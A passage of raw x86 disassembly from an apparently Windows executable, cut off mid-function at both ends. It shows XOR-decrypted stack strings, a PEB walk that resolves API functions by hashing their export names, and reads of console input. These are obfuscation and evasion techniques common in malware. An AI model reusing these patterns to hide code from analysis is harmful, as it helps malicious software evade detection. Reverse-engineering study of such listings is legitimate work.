inc edx
test al, al
jne 0x43f465
mov eax, dword [ebp - 0xb8]
sub edx, ecx
cmp dword [ebp - 0xa4], 0xf
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0xf0], eax
cmova ecx, eax
lea eax, [ebp - 0xe0]
push edx
mov edx, dword [ebp - 0xa8]
push eax
call fcn.004277a0
add esp, 8
test al, al
jne 0x43f575
mov edx, dword [ebp - 0xa8]
cmp edx, 0xa
jbe 0x43f575
lea eax, [ebp - 0xb8]
cmp edi, eax
je 0x43f4e4
cmp dword [ebp - 0xa4], 0xf
mov ecx, edi
push edx
cmova eax, dword [ebp - 0xb8]
push eax
call fcn.0041f4e0
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0xf0], ecx
cmp dword [ebp - 0xa4], 0xf
lea ecx, [ebp - 0xb8]
movq xmm0, qword [str.TPYPOHS_]
mov al, byte [0x4b08f4]
movq qword [ebp - 0xe0], xmm0
mov byte [ebp - 0xd8], al
ja 0x43f514
mov dword [ebp - 0xf0], ecx
xor edx, edx
mov dword [ebp - 0xe4], edx
nop dword [eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0xe4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0xe4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xe0], cl
inc edx
mov dword [ebp - 0xe4], edx
cmp edx, 9
jl 0x43f520
mov ecx, dword [ebp - 0xf0]
lea eax, [ebp - 0xe0]
push 0
push ecx
push eax
push esi
call fcn.00442980
add esp, 0x10
mov al, byte [0x505cc4]
test al, al
jne 0x43f782
mov ecx, dword fs:[0x2c]
mov eax, dword [0x506c30]
mov ecx, dword [ecx]
cmp eax, dword [ecx + 4]
jle 0x43f75c
push 0x506c30
call fcn.00443268
add esp, 4
cmp dword [0x506c30], 0xffffffff
jne 0x43f75c
mov byte [ebp - 4], 6
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0xbd306d1
mov dword [ebp - 0xdc], 0x2e778a1
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0xe0], 0xf09eddff
mov dword [ebp - 0xdc], 0xcd36da31
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0xe0], 0x241ebbba
mov dword [ebp - 0xdc], 0xd499ccff
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0xe0], 0x1b692852
mov dword [ebp - 0xdc], 0x165cf348
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0xe0], 0x2bb66e85
mov dword [ebp - 0xdc], 0x679510d5
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xe0], 0x98beb99e
mov dword [ebp - 0xdc], 0xaf16a950
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0xe0], 0x470dedf
mov dword [ebp - 0xdc], 0xb5eaa59b
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0xe0], 0x7f0c4430
mov dword [ebp - 0xdc], 0x165cf366
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
movaps xmm1, xmmword [ebp - 0x60]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x60], xmm1
movaps xmm1, xmmword [ebp - 0x50]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x28], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x50], xmm1
movups xmmword [0x506d58], xmm0
mov dword [0x506d68], 0
mov dword [0x506d6c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43f726
sub ecx, edx
lea eax, [ebp - 0x60]
push ecx
push eax
mov ecx, 0x506d58
call fcn.0040e0d0
push 0x49f000
call fcn.00443508
add esp, 4
mov byte [ebp - 4], 1
push 0x506c30
call fcn.00443217
add esp, 4
push 0x506d58
mov ecx, 0x5069c8
call fcn.00408010
mov esi, dword [0x506950]
push 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov esi, dword [ebp - 0xf4]
push 0x5069d0
lea ecx, [ebp - 0x3e8]
call fcn.0042ccf0
or dword [ebp - 0xfc], 8
lea ecx, [ebp - 0x3e8]
cmp byte [ebp - 0x250], 0
sete byte [ebp - 0xe5]
call fcn.00403ff0
cmp byte [ebp - 0xe5], 0
je 0x43fd4b
mov dword [ebp - 0xe0], 0x76c8358f
mov dword [ebp - 0xdc], 0x12fa49f5
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0xe0], 0xecd0dcbe
mov dword [ebp - 0xdc], 0xcb73db35
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0xe0], 0x241ebfff
mov dword [ebp - 0xdc], 0xda89cbf2
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0xe0], 0x1c693642
mov dword [ebp - 0xdc], 0x6433d312
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0xe0], 0xb0048be9
mov dword [ebp - 0xdc], 0x202b2e4
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0xe0], 0xea21a0d1
mov dword [ebp - 0xdc], 0x435b2d00
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], ecx
mov dword [ebp - 0xe0], 0xd9da038a
mov dword [ebp - 0xdc], 0x21022900
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0xe0], 0xda7c8cd7
mov dword [ebp - 0xdc], 0xdf5efbf9
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0xe0], 0x4a1ff34d
mov dword [ebp - 0xdc], 0x4799efad
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0xe0], 0xe0512c6
mov dword [ebp - 0xdc], 0x905d03e8
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0xe0], 0x2bb66e85
mov dword [ebp - 0xdc], 0x679510d5
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0xe0], 0x98beb99e
mov dword [ebp - 0xdc], 0xaf16a950
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0xe0], 0x470dedf
mov dword [ebp - 0xdc], 0xb5eaa59b
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0xe0], 0x7f0c4430
mov dword [ebp - 0xdc], 0x165cf366
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
xorps xmm0, xmm0
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0xe0], 0xde6be5c9
mov dword [ebp - 0xdc], 0x6b7ad7c9
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x70], eax
mov dword [ebp - 0xe0], 0x8444d4a2
mov dword [ebp - 0xdc], 0x26300d74
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0xe0], 0xbafa2ff3
mov dword [ebp - 0xdc], 0x4076476f
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0xe0], 0xaf5cf8b4
mov dword [ebp - 0xdc], 0xd554d58a
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0xe0], 0x4a1ff34d
mov dword [ebp - 0xdc], 0x4799efad
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0xe0], 0xe0512c6
mov dword [ebp - 0xdc], 0x905d03e8
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
movaps xmm1, xmmword [ebp - 0x180]
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0x180], xmm1
movaps xmm1, xmmword [ebp - 0x170]
xorps xmm1, xmmword [ebp - 0x80]
movaps xmmword [ebp - 0x170], xmm1
movaps xmm1, xmmword [ebp - 0x160]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x160], xmm1
movaps xmm1, xmmword [ebp - 0x150]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x150], xmm1
movaps xmm1, xmmword [ebp - 0x140]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x48], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x140], xmm1
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43fb80
sub ecx, edx
lea eax, [ebp - 0x180]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.0040e0d0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 7
call fcn.00430690
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x43fbdd
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43fbd3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x440ead
push ecx
push edx
call fcn.004431bb
add esp, 8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xe4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xf0], ecx
cmp ecx, esi
je 0x43fc6a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43fc6a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xf4], ecx
dec edi
mov esi, 0xa488acbf
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43fc5d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43fc40
cmp esi, 0x2babb862
je 0x43fc6e
mov ecx, dword [ebp - 0xf4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43fc20
mov eax, dword [eax]
jmp 0x43fbf0
mov esi, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xe4]
push 0x7d0
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xe4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xf0], ecx
cmp ecx, esi
je 0x43fd1a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43fd1a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xf4], ecx
dec edi
mov esi, 0x63b4a633
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43fd0d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43fcf0
cmp esi, 0xfad53263
je 0x43fd1e
mov ecx, dword [ebp - 0xf4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43fcd0
mov eax, dword [eax]
jmp 0x43fca2
mov esi, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xe4]
push 1
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
add esp, 4
jmp 0x44092f
mov eax, dword [str._WSU_]
xor edx, edx
mov dword [ebp - 0xe0], eax
mov ax, word [0x4b0834]
mov word [ebp - 0xdc], ax
mov dword [ebp - 0xf0], edx
nop dword [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0xf0]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0xf0]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xe0], cl
inc edx
mov dword [ebp - 0xf0], edx
cmp edx, 6
jl 0x43fd70
lea edx, [ebp - 0xe0]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x43fdb5
sub edx, ecx
lea eax, [ebp - 0xe0]
cmp dword [ebp - 0xa4], 0xf
lea ecx, [ebp - 0xb8]
push edx
cmova ecx, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xa8]
push eax
call fcn.004277a0
add esp, 8
test al, al
je 0x43ff11
movq xmm0, qword [str.TPYPOHS_]
xor edx, edx
mov al, byte [0x4b08f4]
movq qword [ebp - 0xe0], xmm0
mov byte [ebp - 0xd8], al
mov dword [ebp - 0xf0], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0xf0]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0xf0]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xe0], cl
inc edx
mov dword [ebp - 0xf0], edx
cmp edx, 9
jl 0x43fe13
push ecx
lea eax, [ebp - 0xe0]
mov ecx, esi
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00442ab0
mov esi, eax
cmp edi, esi
je 0x43fec9
mov ecx, dword [edi + 0x14]
cmp ecx, 0xf
jbe 0x43fe97
mov eax, dword [edi]
inc ecx
cmp ecx, 0x1000
jb 0x43fe8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43feef
mov eax, edx
push ecx
push eax
call fcn.004431bb
add esp, 8
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
movups xmm0, xmmword [esi]
movups xmmword [edi], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [edi + 0x10], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x43feff
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43fef5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43fef5
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004431bb
add esp, 8
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
mov eax, dword fs:[0x2c]
mov byte [ebp - 0xe5], 1
mov ecx, dword [eax]
mov eax, dword [0x506c34]
cmp eax, dword [ecx + 4]
jle 0x440079
push 0x506c34
call fcn.00443268
add esp, 4
cmp dword [0x506c34], 0xffffffff
jne 0x440079
mov byte [ebp - 4], 8
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0x66ec1ee4
mov dword [ebp - 0xdc], 0x1f37ae3
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1cc], ecx
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0xe0], 0x98beb99e
mov dword [ebp - 0xdc], 0xaf16a950
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1c4], ecx
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0xe0], 0x2bb66e85
mov dword [ebp - 0xdc], 0x679510d5
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x110], eax
mov dword [ebp - 0xe0], 0x98beb99e
mov dword [ebp - 0xdc], 0xaf16a950
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
movaps xmm1, xmmword [ebp - 0x1d0]
mov dword [ebp - 0x104], ecx
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x108], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0x1d0], xmm1
movups xmmword [0x506c18], xmm0
mov dword [0x506c28], 0
mov dword [0x506c2c], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440040
sub ecx, edx
lea eax, [ebp - 0x1d0]
push ecx
push eax
mov ecx, 0x506c18
call fcn.0040e0d0
push 0x49efa0
call fcn.00443508
add esp, 4
mov byte [ebp - 4], 1
push 0x506c34
call fcn.00443217
add esp, 4
mov dword [ebp - 0xe0], 0x4ac631e8
mov dword [ebp - 0xdc], 0x679520b1
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], ecx
mov esi, dword [ebp - 0xf8]
mov dword [ebp - 0xe0], 0x98beb99e
mov dword [ebp - 0xdc], 0xaf16a950
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], ecx
mov dword [ebp - 0xe0], 0x2bb66e85
mov dword [ebp - 0xdc], 0x679510d5
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0xe0], 0x98beb99e
mov dword [ebp - 0xdc], 0xaf16a950
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
movaps xmm1, xmmword [ebp - 0x1d0]
mov dword [ebp - 0x108], eax
lea eax, [ebp - 0x1d0]
push ecx
push eax
mov dword [ebp - 0x104], ecx
lea eax, [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x110]
mov ecx, esi
push eax
movaps xmmword [ebp - 0x1d0], xmm1
call fcn.00442ab0
mov byte [ebp - 4], 9
cmp byte [esi + 8], 0
jne 0x440b3a
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
mov byte [ebp - 4], 0xa
mov dword [ebp - 0xe0], 0x76c8358f
mov dword [ebp - 0xdc], 0x13fb55f5
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0xe0], 0xf99ecbfb
mov dword [ebp - 0xdc], 0xca65dc70
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0xe0], 0x6911b0ad
mov dword [ebp - 0xdc], 0xda9e85fe
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0xe0], 0x1a682d10
mov dword [ebp - 0xdc], 0x70358708
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], ecx
mov dword [ebp - 0xe0], 0xb112c5b0
mov dword [ebp - 0xdc], 0xe09a5bc
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0xe0], 0xf064b2ce
mov dword [ebp - 0xdc], 0x55452d1b
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0xe0], 0xbafa0fc9
mov dword [ebp - 0xdc], 0x4076476f
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0xe0], 0xaf5cf8b4
mov dword [ebp - 0xdc], 0xd554d58a
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0xe0], 0x2bb66e85
mov dword [ebp - 0xdc], 0x679510d5
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0xe0], 0x98beb99e
mov dword [ebp - 0xdc], 0xaf16a950
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0xe0], 0x470dedf
mov dword [ebp - 0xdc], 0xb5eaa59b
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0xe0], 0x7f0c4430
mov dword [ebp - 0xdc], 0x165cf366
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0xe0], 0xde6be5c9
mov dword [ebp - 0xdc], 0x6b7ad7c9
mov eax, dword [ebp - 0xe0]
xorps xmm0, xmm0
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0xe0], 0x8444d4a2
mov dword [ebp - 0xdc], 0x26300d74
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0xe0], 0xbafa2ff3
mov dword [ebp - 0xdc], 0x4076476f
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0xe0], 0xaf5cf8b4
mov dword [ebp - 0xdc], 0xd554d58a
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x48], eax
lea edx, [ecx + 1]
movaps xmm1, xmmword [ebp - 0x170]
xorps xmm1, xmmword [ebp - 0x80]
movaps xmmword [ebp - 0x170], xmm1
movaps xmm1, xmmword [ebp - 0x160]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x160], xmm1
movaps xmm1, xmmword [ebp - 0x150]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x150], xmm1
movaps xmm1, xmmword [ebp - 0x140]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x140], xmm1
movups xmmword [ebp - 0x130], xmm0
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440484
sub ecx, edx
lea eax, [ebp - 0x170]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.0040e0d0
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0xb
call fcn.00430690
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0xf
jbe 0x4404ed
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4404e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x440b18
push ecx
push edx
call fcn.004431bb
add esp, 8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea edx, [ebp - 0x38]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
call fcn.004206b0
mov ecx, dword [ebp - 0x28]
cmp ecx, 3
jae 0x440970
mov dword [ebp - 0xe0], 0xbeb10de
xorps xmm0, xmm0
mov dword [ebp - 0xdc], 0x2e56981
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0xe0], 0xee9ed8be
mov dword [ebp - 0xdc], 0xcb7fc531
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0xe0], 0x6103abff
mov dword [ebp - 0xdc], 0xd88bcbe9
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0xe0], 0x75066a55
mov dword [ebp - 0xdc], 0x165cf366
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0xe0], 0x2bb66e85
mov dword [ebp - 0xdc], 0x679510d5
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0xe0], 0x98beb99e
mov dword [ebp - 0xdc], 0xaf16a950
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0xe0], 0x470dedf
mov dword [ebp - 0xdc], 0xb5eaa59b
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0xe0], 0x7f0c4430
mov dword [ebp - 0xdc], 0x165cf366
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
movaps xmm1, xmmword [ebp - 0x1f0]
xorps xmm1, xmmword [ebp - 0x1b0]
movaps xmmword [ebp - 0x1f0], xmm1
movaps xmm1, xmmword [ebp - 0x1e0]
mov dword [ebp - 0x194], ecx
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x198], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x1a0]
movaps xmmword [ebp - 0x1e0], xmm1
movups xmmword [ebp - 0x1a8], xmm0
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x194], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4406d3
sub ecx, edx
lea eax, [ebp - 0x1f0]
push ecx
push eax
lea ecx, [ebp - 0x1a8]
call fcn.0040e0d0
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 0xc
call fcn.00430690
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x194]
cmp ecx, 0xf
jbe 0x44073c
mov edx, dword [ebp - 0x1a8]
inc ecx
